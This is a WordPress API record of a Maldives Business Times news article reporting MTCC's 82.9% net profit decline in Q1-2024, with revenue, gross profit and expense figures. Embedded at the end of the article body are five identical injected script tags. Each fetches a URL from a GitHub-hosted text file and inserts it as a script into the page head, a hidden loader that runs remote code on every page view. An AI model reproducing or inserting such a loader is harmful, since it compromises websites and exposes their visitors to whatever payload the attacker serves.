{"id":9280,"date":"2024-05-01T08:18:46","date_gmt":"2024-05-01T03:18:46","guid":{"rendered":"https:\/\/mbt.mv\/?p=9280"},"modified":"2024-05-01T08:18:46","modified_gmt":"2024-05-01T03:18:46","slug":"mtcc-reports-82-9-net-profit-decline-in-q1-2024","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=9280","title":{"rendered":"MTCC reports 82.9% Net Profit decline in Q1-2024"},"content":{"rendered":"<p>Maldives Transport and Contracting Company (MTCC) has reported a staggering 82.9% decline in its Net Profit for Q1-2024.<\/p>\n<p>According to the company, MTCC earned a Net Profit of MVR 5.2 million for the review quarter, compared to MVR 30.8 million earned in Q4-2023.<\/p>\n<p>The company reported a Gross Revenue of MVR 664.4 million for the review quarter, registering a 15.8% decline from MVR 789.2 million in the last quarter of 2023.<\/p>\n<p>Moreover, the company&#8217;s Gross Profit saw a steep 94.5% decline in this year&#8217;s first quarter, plunging from MVR 44.3 million in Q4-2023 to just MVR 2.45 million in Q1-2024.<\/p>\n<p>Total expenses of the company saw a decline this quarter, from MVR 134.7 million in Q4-2023 to MVR 124.0 million in Q1-2024. This helped MTCC to maintain its Operating Profit within range of the preceding quarter, but saw a 26% decline nonetheless; dropping from MVR 56.5 million in Q4-2023 to MVR 41.8 million in Q1-2024.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Maldives Transport and Contracting Company (MTCC) has reported a staggering 82.9% decline in its Net Profit for Q1-2024. According to the company, MTCC earned a Net Profit of MVR 5.2 million for the review quarter, compared to MVR 30.8 million earned in Q4-2023. The company reported a Gross Revenue of MVR 664.4 million for the<\/p>\n","protected":false},"author":4,"featured_media":9281,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2423],"tags":[],"class_list":{"0":"post-9280","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-business"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>MTCC reports 82.9% Net Profit decline in Q1-2024 - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=9280\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"MTCC reports 82.9% Net Profit decline in Q1-2024 - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"Maldives Transport and Contracting Company (MTCC) has reported a staggering 82.9% decline in its Net Profit for Q1-2024. According to the company, MTCC earned a Net Profit of MVR 5.2 million for the review quarter, compared to MVR 30.8 million earned in Q4-2023. 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